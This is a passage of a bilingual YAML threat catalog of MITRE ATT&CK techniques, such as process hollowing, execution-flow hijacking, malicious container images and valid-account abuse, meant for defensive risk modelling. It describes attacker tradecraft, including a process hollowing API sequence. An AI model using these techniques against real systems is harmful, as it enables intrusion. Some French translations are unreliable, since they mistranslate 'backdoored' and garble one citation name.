        description: "Les adversaires peuvent rechercher des partages r\xE9seau sur\
          \ des ordinateurs qu\u2019ils ont compromis pour trouver des fichiers d\u2019\
          int\xE9r\xEAt. Les donn\xE9es sensibles peuvent \xEAtre collect\xE9es \xE0\
          \ partir de syst\xE8mes distants via des lecteurs r\xE9seau partag\xE9s\
          \ (r\xE9pertoire partag\xE9 de l\u2019h\xF4te, serveur de fichiers r\xE9\
          seau, etc.) accessibles \xE0 partir du syst\xE8me actuel avant l\u2019exfiltration.\
          \ Des shells de commande interactifs peuvent \xEAtre utilis\xE9s, et des\
          \ fonctionnalit\xE9s communes \xE0 [cmd](https://attack.mitre.org/software/S0106)\
          \ peuvent \xEAtre utilis\xE9es pour collecter des informations.\nhttps://attack.mitre.org/techniques/T1039"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.006
    ref_id: T1584.006
    name: Web Services
    description: "Adversaries may compromise access to third-party web services\_\
      that can be used during targeting. A variety of popular websites exist for legitimate\
      \ users to register for web-based services, such as GitHub, Twitter, Dropbox,\
      \ Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate\
      \ user's access to a web service and use that web service as infrastructure\
      \ in support of cyber operations. Such web services can be abused during later\
      \ stages of the adversary lifecycle, such as during Command and Control ([Web\
      \ Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web\
      \ Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation:\
      \ Recorded Future Turla Infra 2020) Using common services, such as those offered\
      \ by Google or Twitter, makes it easier for adversaries to hide in expected\
      \ noise. By utilizing a web service, particularly when access is stolen from\
      \ legitimate users, adversaries can make it difficult to physically tie back\
      \ operations to them. Additionally, leveraging compromised web-based email services\
      \ may allow adversaries to leverage the trust associated with legitimate domains.\n\
      https://attack.mitre.org/techniques/T1584/006"
    translations:
      fr:
        name: Web Services
        description: "Les adversaires peuvent compromettre l\u2019acc\xE8s aux services\
          \ Web tiers qui peuvent \xEAtre utilis\xE9s lors du ciblage. Il existe une\
          \ vari\xE9t\xE9 de sites Web populaires pour que les utilisateurs l\xE9\
          gitimes puissent s\u2019inscrire \xE0 des services Web, tels que GitHub,\
          \ Twitter, Dropbox, Google, SendGrid, etc. Les adversaires peuvent tenter\
          \ de s\u2019approprier l\u2019acc\xE8s d\u2019un utilisateur l\xE9gitime\
          \ \xE0 un service Web et d\u2019utiliser ce service Web comme infrastructure\
          \ \xE0 l\u2019appui des cyberop\xE9rations. Ces services Web peuvent faire\
          \ l\u2019objet d\u2019une utilisation abusive au cours des \xE9tapes ult\xE9\
          rieures du cycle de vie de l\u2019adversaire, par exemple lors de la commande\
          \ et du contr\xF4le ([Service Web](https://attack.mitre.org/techniques/T1102)),\
          \ [Exfiltration sur le service Web](https://attack.mitre.org/techniques/T1567)\
          \ ou [Phishing](https://attack.mitre.org/techniques/T1566). (Citation :\
          \ Recorded Future Turla Infra 2020) L\u2019utilisation de services courants,\
          \ tels que ceux propos\xE9s par Google ou Twitter, permet aux adversaires\
          \ de se cacher plus facilement dans le bruit attendu. En utilisant un service\
          \ Web, en particulier lorsque l\u2019acc\xE8s est vol\xE9 \xE0 des utilisateurs\
          \ l\xE9gitimes, les adversaires peuvent rendre difficile le lien physique\
          \ entre les op\xE9rations et ceux-ci. De plus, l\u2019exploitation de services\
          \ de messagerie Web compromis peut permettre aux adversaires de tirer parti\
          \ de la confiance associ\xE9e aux domaines l\xE9gitimes.\nhttps://attack.mitre.org/techniques/T1584/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1601
    ref_id: T1601
    name: Modify System Image
    description: 'Adversaries may make changes to the operating system of embedded
      network devices to weaken defenses and provide new capabilities for themselves.  On
      such devices, the operating systems are typically monolithic and most of the
      device functionality and capabilities are contained within a single file.


      To change the operating system, the adversary typically only needs to affect
      this one file, replacing or modifying it.  This can either be done live in memory
      during system runtime for immediate effect, or in storage to implement the change
      on the next boot of the network device.

      https://attack.mitre.org/techniques/T1601'
    translations:
      fr:
        name: "Modifier l\u2019image syst\xE8me"
        description: "Les adversaires peuvent apporter des modifications au syst\xE8\
          me d\u2019exploitation des p\xE9riph\xE9riques r\xE9seau int\xE9gr\xE9s\
          \ afin d\u2019affaiblir les d\xE9fenses et de se fournir de nouvelles capacit\xE9\
          s.  Sur ces appareils, les syst\xE8mes d\u2019exploitation sont g\xE9n\xE9\
          ralement monolithiques et la plupart des fonctionnalit\xE9s et des capacit\xE9\
          s de l\u2019appareil sont contenues dans un seul fichier.\n\nPour changer\
          \ de syst\xE8me d\u2019exploitation, l\u2019adversaire n\u2019a g\xE9n\xE9\
          ralement besoin que d\u2019affecter ce fichier, en le rempla\xE7ant ou en\
          \ le modifiant.  Cela peut \xEAtre effectu\xE9 en direct en m\xE9moire pendant\
          \ l\u2019ex\xE9cution du syst\xE8me pour un effet imm\xE9diat, ou en stockage\
          \ pour impl\xE9menter la modification au prochain d\xE9marrage du p\xE9\
          riph\xE9rique r\xE9seau.\nhttps://attack.mitre.org/techniques/T1601"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574
    ref_id: T1574
    name: Hijack Execution Flow
    description: 'Adversaries may execute their own malicious payloads by hijacking
      the way operating systems run programs. Hijacking execution flow can be for
      the purposes of persistence, since this hijacked execution may reoccur over
      time. Adversaries may also use these mechanisms to elevate privileges or evade
      defenses, such as application control or other restrictions on execution.


      There are many ways an adversary may hijack the flow of execution, including
      by manipulating how the operating system locates programs to be executed. How
      the operating system locates libraries to be used by a program can also be intercepted.
      Locations where the operating system looks for programs/resources, such as file
      directories and in the case of Windows the Registry, could also be poisoned
      to include malicious payloads.

      https://attack.mitre.org/techniques/T1574'
    translations:
      fr:
        name: "D\xE9tourner le flux d\u2019ex\xE9cution"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant la fa\xE7on dont les syst\xE8mes d\u2019\
          exploitation ex\xE9cutent les programmes. Le d\xE9tournement du flux d\u2019\
          ex\xE9cution peut \xEAtre \xE0 des fins de persistance, car cette ex\xE9\
          cution pirat\xE9e peut se reproduire au fil du temps. Les adversaires peuvent\
          \ \xE9galement utiliser ces m\xE9canismes pour \xE9lever des privil\xE8\
          ges ou contourner des d\xE9fenses, telles que le contr\xF4le des applications\
          \ ou d\u2019autres restrictions d\u2019ex\xE9cution.\n\nIl existe de nombreuses\
          \ fa\xE7ons pour un adversaire de d\xE9tourner le flux d\u2019ex\xE9cution,\
          \ notamment en manipulant la fa\xE7on dont le syst\xE8me d\u2019exploitation\
          \ localise les programmes \xE0 ex\xE9cuter. La fa\xE7on dont le syst\xE8\
          me d\u2019exploitation localise les biblioth\xE8ques \xE0 utiliser par un\
          \ programme peut \xE9galement \xEAtre intercept\xE9e. Les emplacements o\xF9\
          \ le syst\xE8me d\u2019exploitation recherche des programmes/ressources,\
          \ tels que les r\xE9pertoires de fichiers et, dans le cas de Windows, le\
          \ registre, peuvent \xE9galement \xEAtre empoisonn\xE9s pour inclure des\
          \ charges utiles malveillantes.\nhttps://attack.mitre.org/techniques/T1574"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.011
    ref_id: T1059.011
    name: Lua
    description: 'Adversaries may abuse Lua commands and scripts for execution. Lua
      is a cross-platform scripting and programming language primarily designed for
      embedded use in applications. Lua can be executed on the command-line (through
      the stand-alone lua interpreter), via scripts (<code>.lua</code>), or from Lua-embedded
      programs (through the <code>struct lua_State</code>).(Citation: Lua main page)(Citation:
      Lua state)


      Lua scripts may be executed by adversaries for malicious purposes. Adversaries
      may incorporate, abuse, or replace existing Lua interpreters to allow for malicious
      Lua command execution at runtime.(Citation: PoetRat Lua)(Citation: Lua Proofpoint
      Sunseed)(Citation: Cyphort EvilBunny)(Citation: Kaspersky Lua)

      https://attack.mitre.org/techniques/T1059/011'
    translations:
      fr:
        name: Lua
        description: "Les adversaires peuvent abuser des commandes et des scripts\
          \ Lua pour l\u2019ex\xE9cution. Lua est un langage de script et de programmation\
          \ multiplateforme principalement con\xE7u pour une utilisation int\xE9gr\xE9\
          e dans des applications. Lua peut \xEAtre ex\xE9cut\xE9 sur la ligne de\
          \ commande (via l\u2019interpr\xE9teur lua autonome), via des scripts (<code>.lua</code>)\
          \ ou \xE0 partir de programmes embarqu\xE9s dans Lua (via la <code>struct\
          \ lua_State</code>). (Citation : page principale de Lua)(Citation : \xC9\
          tat de Lua)\n\nLes scripts Lua peuvent \xEAtre ex\xE9cut\xE9s par des adversaires\
          \ \xE0 des fins malveillantes. Les adversaires peuvent incorporer, abuser\
          \ ou remplacer des interpr\xE9teurs Lua existants pour permettre l\u2019\
          ex\xE9cution de commandes Lua malveillantes au moment de l\u2019ex\xE9cution.\
          \ (Citation : PoetRat Lua)(Citation : Lua Proofpoint Sunseed)(Citation :\
          \ Cyphort EvilBunny)(Citation : Kaspersky Lua)\nhttps://attack.mitre.org/techniques/T1059/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.005
    ref_id: T1027.005
    name: Indicator Removal from Tools
    description: 'Adversaries may remove indicators from tools if they believe their
      malicious tool was detected, quarantined, or otherwise curtailed. They can modify
      the tool by removing the indicator and using the updated version that is no
      longer detected by the target''s defensive systems or subsequent targets that
      may use similar systems.


      A good example of this is when malware is detected with a file signature and
      quarantined by anti-virus software. An adversary who can determine that the
      malware was quarantined because of its file signature may modify the file to
      explicitly avoid that signature, and then re-use the malware.

      https://attack.mitre.org/techniques/T1027/005'
    translations:
      fr:
        name: "Retrait de l\u2019indicateur des outils"
        description: "Les adversaires peuvent supprimer des indicateurs d\u2019outils\
          \ s\u2019ils pensent que leur outil malveillant a \xE9t\xE9 d\xE9tect\xE9\
          , mis en quarantaine ou autrement restreint. Ils peuvent modifier l\u2019\
          outil en supprimant l\u2019indicateur et en utilisant la version mise \xE0\
          \ jour qui n\u2019est plus d\xE9tect\xE9e par les syst\xE8mes d\xE9fensifs\
          \ de la cible ou les cibles ult\xE9rieures qui peuvent utiliser des syst\xE8\
          mes similaires.\n\nUn bon exemple de cela est lorsqu\u2019un logiciel malveillant\
          \ est d\xE9tect\xE9 avec une signature de fichier et mis en quarantaine\
          \ par un logiciel antivirus. Un adversaire qui peut d\xE9terminer que le\
          \ programme malveillant a \xE9t\xE9 mis en quarantaine en raison de sa signature\
          \ de fichier peut modifier le fichier pour \xE9viter explicitement cette\
          \ signature, puis r\xE9utiliser le programme malveillant.\nhttps://attack.mitre.org/techniques/T1027/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1204.003
    ref_id: T1204.003
    name: Malicious Image
    description: 'Adversaries may rely on a user running a malicious image to facilitate
      execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud
      Platform (GCP) Images, and Azure Images as well as popular container runtimes
      such as Docker can be backdoored. Backdoored images may be uploaded to a public
      repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001),
      and users may then download and deploy an instance or container from the image
      without realizing the image is malicious, thus bypassing techniques that specifically
      achieve Initial Access. This can lead to the execution of malicious code, such
      as code that executes cryptocurrency mining, in the instance or container.(Citation:
      Summit Route Malicious AMIs)


      Adversaries may also name images a certain way to increase the chance of users
      mistakenly deploying an instance or container from the image (ex: [Match Legitimate
      Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation:
      Aqua Security Cloud Native Threat Report June 2021)

      https://attack.mitre.org/techniques/T1204/003'
    translations:
      fr:
        name: Image malveillante
        description: "Les adversaires peuvent s\u2019appuyer sur l\u2019ex\xE9cution\
          \ d\u2019une image malveillante par un utilisateur pour faciliter l\u2019\
          ex\xE9cution. Les images Amazon Web Services (AWS), Amazon Machine Images\
          \ (AMI), Google Cloud Platform (GCP) et Azure Images, ainsi que les environnements\
          \ d\u2019ex\xE9cution de conteneurs populaires tels que Docker, peuvent\
          \ \xEAtre d\xE9rob\xE9s. Les images d\xE9rob\xE9es peuvent \xEAtre t\xE9\
          l\xE9charg\xE9es dans un r\xE9f\xE9rentiel public via [Upload Malware](https://attack.mitre.org/techniques/T1608/001),\
          \ et les utilisateurs peuvent ensuite t\xE9l\xE9charger et d\xE9ployer une\
          \ instance ou un conteneur \xE0 partir de l\u2019image sans se rendre compte\
          \ que l\u2019image est malveillante, contournant ainsi les techniques qui\
          \ permettent sp\xE9cifiquement d\u2019obtenir l\u2019acc\xE8s initial. Cela\
          \ peut conduire \xE0 l\u2019ex\xE9cution d\u2019un code malveillant, tel\
          \ qu\u2019un code qui ex\xE9cute le minage de cryptomonnaies, dans l\u2019\
          instance ou le conteneur. (Citation : AMI malveillants Summit Route)\n\n\
          Les adversaires peuvent \xE9galement nommer les images d\u2019une certaine\
          \ mani\xE8re pour augmenter le risque que les utilisateurs d\xE9ploient\
          \ par erreur une instance ou un conteneur \xE0 partir de l\u2019image (ex\
          \ : [Correspondre au nom ou \xE0 l\u2019emplacement l\xE9gitime](https://attack.mitre.org/techniques/T1036/005)).\
          \ (Citation : Aqua Security Cloud Native Threat Report juin 2021)\nhttps://attack.mitre.org/techniques/T1204/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1543.005
    ref_id: T1543.005
    name: Container Service
    description: 'Adversaries may create or modify container or container cluster
      management tools that run as daemons, agents, or services on individual hosts.
      These include software for creating and managing individual containers, such
      as Docker and Podman, as well as container cluster node-level agents such as
      kubelet. By modifying these services, an adversary may be able to achieve persistence
      or escalate their privileges on a host.


      For example, by using the `docker run` or `podman run` command with the `restart=always`
      directive, a container can be configured to persistently restart on the host.(Citation:
      AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may
      also be able to escalate their privileges on the host.(Citation: GTFOBins Docker)


      In Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy
      Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including
      ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation:
      Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the
      `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning
      Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020)


      Note that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation:
      Podman Systemd)(Citation: Docker Systemd)

      https://attack.mitre.org/techniques/T1543/005'
    translations:
      fr:
        name: Service de conteneurs
        description: "Les adversaires peuvent cr\xE9er ou modifier des outils de gestion\
          \ de conteneurs ou de clusters de conteneurs qui s\u2019ex\xE9cutent en\
          \ tant que d\xE9mons, agents ou services sur des h\xF4tes individuels. Il\
          \ s\u2019agit notamment de logiciels de cr\xE9ation et de gestion de conteneurs\
          \ individuels, tels que Docker et Podman, ainsi que d\u2019agents de niveau\
          \ n\u0153ud de cluster de conteneurs tels que kubelet. En modifiant ces\
          \ services, un adversaire peut \xEAtre en mesure de persister ou d\u2019\
          \xE9lever ses privil\xE8ges sur un h\xF4te.\n\nPar exemple, en utilisant\
          \ la commande 'docker run' ou 'podman run' avec la directive 'restart=always',\
          \ un conteneur peut \xEAtre configur\xE9 pour red\xE9marrer de mani\xE8\
          re persistante sur l\u2019h\xF4te. (Citation : AquaSec TeamTNT 2023) Un\
          \ utilisateur ayant acc\xE8s \xE0 la commande docker (rootful) peut \xE9\
          galement \xEAtre en mesure d\u2019\xE9lever ses privil\xE8ges sur l\u2019\
          h\xF4te. (Citation : go awayBins Docker)\n\nDans les environnements Kubernetes,\
          \ les DaemonSets permettent \xE0 un adversaire de d\xE9ployer de mani\xE8\
          re persistante des [Container](https://attack.mitre.org/techniques/T1610)\
          \ sur tous les n\u0153uds, y compris ceux ajout\xE9s ult\xE9rieurement au\
          \ cluster. (Citation : Attaque Aquasec Kubernetes 2023)(Citation : Kubernetes\
          \ DaemonSet) Les pods peuvent \xE9galement \xEAtre d\xE9ploy\xE9s sur des\
          \ n\u0153uds sp\xE9cifiques \xE0 l\u2019aide des champs 'nodeSelector' ou\
          \ 'nodeName' dans la sp\xE9cification du pod.(Citation : Kubernetes Assigning\
          \ Pods to Nodes)(Citation : AppSecco Kubernetes Namespace Breakout 2020)\n\
          \nNotez que les conteneurs peuvent \xE9galement \xEAtre configur\xE9s pour\
          \ s\u2019ex\xE9cuter en tant que [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation\
          \ : Podman Systemd)(Citation : Docker Systemd)\nhttps://attack.mitre.org/techniques/T1543/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1078
    ref_id: T1078
    name: Valid Accounts
    description: 'Adversaries may obtain and abuse credentials of existing accounts
      as a means of gaining Initial Access, Persistence, Privilege Escalation, or
      Defense Evasion. Compromised credentials may be used to bypass access controls
      placed on various resources on systems within the network and may even be used
      for persistent access to remote systems and externally available services, such
      as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation:
      volexity_0day_sophos_FW) Compromised credentials may also grant an adversary
      increased privilege to specific systems or access to restricted areas of the
      network. Adversaries may choose not to use malware or tools in conjunction with
      the legitimate access those credentials provide to make it harder to detect
      their presence.


      In some cases, adversaries may abuse inactive accounts: for example, those belonging
      to individuals who are no longer part of an organization. Using these accounts
      may allow the adversary to evade detection, as the original account user will
      not be present to identify any anomalous activity taking place on their account.(Citation:
      CISA MFA PrintNightmare)


      The overlap of permissions for local, domain, and cloud accounts across a network
      of systems is of concern because the adversary may be able to pivot across accounts
      and systems to reach a high level of access (i.e., domain or enterprise administrator)
      to bypass access controls set within the enterprise.(Citation: TechNet Credential
      Theft)

      https://attack.mitre.org/techniques/T1078'
    translations:
      fr:
        name: Comptes valides
        description: "Les adversaires peuvent obtenir et abuser des identifiants de\
          \ comptes existants comme moyen d\u2019obtenir l\u2019acc\xE8s initial,\
          \ la persistance, l\u2019\xE9l\xE9vation de privil\xE8ges ou l\u2019\xE9\
          vasion de la d\xE9fense. Les informations d\u2019identification compromises\
          \ peuvent \xEAtre utilis\xE9es pour contourner les contr\xF4les d\u2019\
          acc\xE8s plac\xE9s sur diverses ressources sur les syst\xE8mes au sein du\
          \ r\xE9seau et peuvent m\xEAme \xEAtre utilis\xE9es pour un acc\xE8s persistant\
          \ \xE0 des syst\xE8mes distants et \xE0 des services disponibles en externe,\
          \ tels que les VPN, Outlook Web Access, les p\xE9riph\xE9riques r\xE9seau\
          \ et le bureau \xE0 distance. (R\xE9f\xE9rence : volexity_0day_sophos_FW)\
          \ Les informations d\u2019identification compromises peuvent \xE9galement\
          \ accorder \xE0 un adversaire des privil\xE8ges accrus sur des syst\xE8\
          mes sp\xE9cifiques ou un acc\xE8s \xE0 des zones restreintes du r\xE9seau.\
          \ Les adversaires peuvent choisir de ne pas utiliser de logiciels malveillants\
          \ ou d\u2019outils en conjonction avec l\u2019acc\xE8s l\xE9gitime que ces\
          \ informations d\u2019identification fournissent, afin de rendre plus difficile\
          \ la d\xE9tection de leur pr\xE9sence.\n\nDans certains cas, les adversaires\
          \ peuvent abuser des comptes inactifs : par exemple, ceux appartenant \xE0\
          \ des personnes qui ne font plus partie d\u2019une organisation. L\u2019\
          utilisation de ces comptes peut permettre \xE0 l\u2019adversaire d\u2019\
          \xE9chapper \xE0 la d\xE9tection, car l\u2019utilisateur du compte d\u2019\
          origine ne sera pas pr\xE9sent pour identifier toute activit\xE9 anormale\
          \ se d\xE9roulant sur son compte. (Citation : CISA MFA PrintNightmare)\n\
          \nLe chevauchement des autorisations pour les comptes locaux, de domaine\
          \ et de cloud sur un r\xE9seau de syst\xE8mes est pr\xE9occupant, car l\u2019\
          adversaire peut \xEAtre en mesure de pivoter entre les comptes et les syst\xE8\
          mes pour atteindre un niveau d\u2019acc\xE8s \xE9lev\xE9 (c\u2019est-\xE0\
          -dire un administrateur de domaine ou d\u2019entreprise) afin de contourner\
          \ les contr\xF4les d\u2019acc\xE8s d\xE9finis au sein de l\u2019entreprise.\
          \ (Citation : Vol d\u2019informations d\u2019identification TechNet)\nhttps://attack.mitre.org/techniques/T1078"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1571
    ref_id: T1571
    name: Non-Standard Port
    description: 'Adversaries may communicate using a protocol and port pairing that
      are typically not associated. For example, HTTPS over port 8088(Citation: Symantec
      Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed
      to the traditional port 443. Adversaries may make changes to the standard port
      used by a protocol to bypass filtering or muddle analysis/parsing of network
      data.


      Adversaries may also make changes to victim systems to abuse non-standard ports.
      For example, Registry keys and other configuration settings can be used to modify
      protocol and port pairings.(Citation: change_rdp_port_conti)

      https://attack.mitre.org/techniques/T1571'
    translations:
      fr:
        name: Port non standard
        description: "Les adversaires peuvent communiquer \xE0 l\u2019aide d\u2019\
          un protocole et d\u2019un appariement de ports qui ne sont g\xE9n\xE9ralement\
          \ pas associ\xE9s. Par exemple, HTTPS sur le port 8088 (Citation : Symantec\
          \ Elfin mars 2019) ou le port 587 (Citation : Fortinet Agent Tesla avril\
          \ 2018) par opposition au port traditionnel 443. Les adversaires peuvent\
          \ apporter des modifications au port standard utilis\xE9 par un protocole\
          \ pour contourner le filtrage ou brouiller l\u2019analyse/l\u2019analyse\
          \ des donn\xE9es r\xE9seau.\n\nLes adversaires peuvent \xE9galement apporter\
          \ des modifications aux syst\xE8mes victimes pour abuser des ports non standard.\
          \ Par exemple, les cl\xE9s de registre et d\u2019autres param\xE8tres de\
          \ configuration peuvent \xEAtre utilis\xE9s pour modifier les appariements\
          \ de protocoles et de ports. (R\xE9f\xE9rence : change_rdp_port_conti)\n\
          https://attack.mitre.org/techniques/T1571"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1585.001
    ref_id: T1585.001
    name: Social Media Accounts
    description: "Adversaries may create and cultivate social media accounts that\
      \ can be used during targeting. Adversaries can create social media accounts\
      \ that can be used to build a persona to further operations. Persona development\
      \ consists of the development of public information, presence, history and appropriate\
      \ affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor\
      \ operations incorporating social engineering, the utilization of a persona\
      \ on social media may be important. These personas may be fictitious or impersonate\
      \ real people. The persona may exist on a single social media site or across\
      \ multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona\
      \  on social media may require development of additional documentation to make\
      \ them seem real. This could include filling out profile information, developing\
      \ social networks, or incorporating photos. \n\nOnce a persona has been developed\
      \ an adversary can use it to create connections to targets of interest. These\
      \ connections may be direct or may include trying to connect through others.(Citation:\
      \ NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged\
      \ during other phases of the adversary lifecycle, such as during Initial Access\
      \ (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\n\
      https://attack.mitre.org/techniques/T1585/001"
    translations:
      fr:
        name: "Comptes de m\xE9dias sociaux"
        description: "Les adversaires peuvent cr\xE9er et cultiver des comptes de\
          \ m\xE9dias sociaux qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les\
          \ adversaires peuvent cr\xE9er des comptes de m\xE9dias sociaux qui peuvent\
          \ \xEAtre utilis\xE9s pour cr\xE9er un persona afin de faire avancer les\
          \ op\xE9rations. Le d\xE9veloppement d\u2019un persona consiste en l\u2019\
          \xE9laboration d\u2019informations publiques, de pr\xE9sence, d\u2019histoire\
          \ et d\u2019affiliations appropri\xE9es. (R\xE9f\xE9rence : NEWSCASTER2014)(Citation\
          \ : BlackHatRobinSage)\n\nPour les op\xE9rations int\xE9grant l\u2019ing\xE9\
          nierie sociale, l\u2019utilisation d\u2019un persona sur les m\xE9dias sociaux\
          \ peut \xEAtre importante. Ces personnages peuvent \xEAtre fictifs ou se\
          \ faire passer pour de vraies personnes. Le persona peut exister sur un\
          \ seul site de m\xE9dias sociaux ou sur plusieurs sites (ex : Facebook,\
          \ LinkedIn, Twitter, etc.). L\u2019\xE9tablissement d\u2019un persona sur\
          \ les m\xE9dias sociaux peut n\xE9cessiter l\u2019\xE9laboration d\u2019\
          une documentation suppl\xE9mentaire pour le faire para\xEEtre r\xE9el. Il\
          \ peut s\u2019agir de remplir des informations de profil, de d\xE9velopper\
          \ des r\xE9seaux sociaux ou d\u2019incorporer des photos. \n\nUne fois qu\u2019\
          un persona a \xE9t\xE9 d\xE9velopp\xE9, un adversaire peut l\u2019utiliser\
          \ pour cr\xE9er des liens avec des cibles d\u2019int\xE9r\xEAt. Ces connexions\
          \ peuvent \xEAtre directes ou inclure d\u2019essayer de se connecter par\
          \ l\u2019interm\xE9diaire d\u2019autres personnes. (R\xE9f\xE9rence : NEWSCASTER2014)(Citation\
          \ : BlackHatRobinSage) Ces comptes peuvent \xEAtre exploit\xE9s au cours\
          \ d\u2019autres phases du cycle de vie de l\u2019adversaire, par exemple\
          \ lors de l\u2019acc\xE8s initial (ex : [Spearphishing via le Service](https://attack.mitre.org/techniques/T1566/003)).\n\
          https://attack.mitre.org/techniques/T1585/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.012
    ref_id: T1055.012
    name: Process Hollowing
    description: "Adversaries may inject malicious code into suspended and hollowed\
      \ processes in order to evade process-based defenses. Process hollowing is a\
      \ method of executing arbitrary code in the address space of a separate live\
      \ process.  \n\nProcess hollowing is commonly performed by creating a process\
      \ in a suspended state then unmapping/hollowing its memory, which can then be\
      \ replaced with malicious code. A victim process can be created with native\
      \ Windows API calls such as <code>CreateProcess</code>, which includes a flag\
      \ to suspend the processes primary thread. At this point the process can be\
      \ unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>\
      \  before being written to, realigned to the injected code, and resumed via\
      \ <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>,\
      \ then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation:\
      \ Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local\
      \ Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new\
      \ process rather than targeting an existing process. This behavior will likely\
      \ not result in elevated privileges since the injected process was spawned from\
      \ (and thus inherits the security context) of the injecting process. However,\
      \ execution via process hollowing may also evade detection from security products\
      \ since the execution is masked under a legitimate process.\nhttps://attack.mitre.org/techniques/T1055/012"
    translations:
      fr:
        name: "\xC9vidage du processus"
        description: "Les adversaires peuvent injecter du code malveillant dans des\
          \ processus suspendus et vid\xE9s afin d\u2019\xE9chapper aux d\xE9fenses\
          \ bas\xE9es sur les processus. Le vidage de processus est une m\xE9thode\
          \ d\u2019ex\xE9cution de code arbitraire dans l\u2019espace d\u2019adressage\
          \ d\u2019un processus en direct distinct.  \n\nL\u2019\xE9videment de processus\
          \ est g\xE9n\xE9ralement effectu\xE9 en cr\xE9ant un processus dans un \xE9\
          tat suspendu, puis en d\xE9mappant/vidant sa m\xE9moire, qui peut ensuite\
          \ \xEAtre remplac\xE9e par un code malveillant. Un processus victime peut\
          \ \xEAtre cr\xE9\xE9 \xE0 l\u2019aide d\u2019appels d\u2019API Windows natifs,\
          \ tels que <code>CreateProcess</code>, qui inclut un indicateur permettant\
          \ de suspendre le thread principal du processus. \xC0 ce stade, le processus\
          \ peut \xEAtre d\xE9mapp\xE9 \xE0 l\u2019aide d\u2019appels d\u2019API tels\
          \ que <code>ZwUnmapViewOfSection</code> ou <code>NtUnmapViewOfSection</code>\
          \ avant d\u2019\xEAtre \xE9crit, r\xE9align\xE9 sur le code inject\xE9 et\
          \ repris via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>,\
          \ <code>SetThreadContext</code>, puis <code>ResumeThread</code> respectivement.\
          \ (Citation : Leitch Hollowing)(Citation : Injection de processus \xE9lastique\
          \ juillet 2017)\n\nCeci est tr\xE8s similaire \xE0 [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005),\
          \ mais cr\xE9e un nouveau processus plut\xF4t que de cibler un processus\
          \ existant. Ce comportement n\u2019entra\xEEnera probablement pas de privil\xE8\
          ges \xE9lev\xE9s, car le processus inject\xE9 a \xE9t\xE9 g\xE9n\xE9r\xE9\
          \ \xE0 partir du processus d\u2019injection (et h\xE9rite donc du contexte\
          \ de s\xE9curit\xE9). Cependant, l\u2019ex\xE9cution via l\u2019\xE9videment\
          \ du processus peut \xE9galement \xE9chapper \xE0 la d\xE9tection des produits\
          \ de s\xE9curit\xE9, car l\u2019ex\xE9cution est masqu\xE9e par un processus\
          \ l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1068
    ref_id: T1068
    name: Exploitation for Privilege Escalation
    description: 'Adversaries may exploit software vulnerabilities in an attempt to
      elevate privileges. Exploitation of a software vulnerability occurs when an
      adversary takes advantage of a programming error in a program, service, or within
      the operating system software or kernel itself to execute adversary-controlled
      code. Security constructs such as permission levels will often hinder access
      to information and use of certain techniques, so adversaries will likely need
      to perform privilege escalation to include use of software exploitation to circumvent
      those restrictions.


      When initially gaining access to a system, an adversary may be operating within
      a lower privileged process which will prevent them from accessing certain resources
      on the system. Vulnerabilities may exist, usually in operating system components
      and software commonly running at higher permissions, that can be exploited to
      gain higher levels of access on the system. This could enable someone to move
      from unprivileged or user level permissions to SYSTEM or root permissions depending
      on the component that is vulnerable. This could also enable an adversary to
      move from a virtualized environment, such as within a virtual machine or container,
      onto the underlying host. This may be a necessary step for an adversary compromising
      an endpoint system that has been properly configured and limits other privilege
      escalation methods.


      Adversaries may bring a signed vulnerable driver onto a compromised machine
      so that they can exploit the vulnerability to execute code in kernel mode. This
      process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation:
      ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may
      include the vulnerable driver with files delivered during Initial Access or
      download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)
      or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).

      https://attack.mitre.org/techniques/T1068'
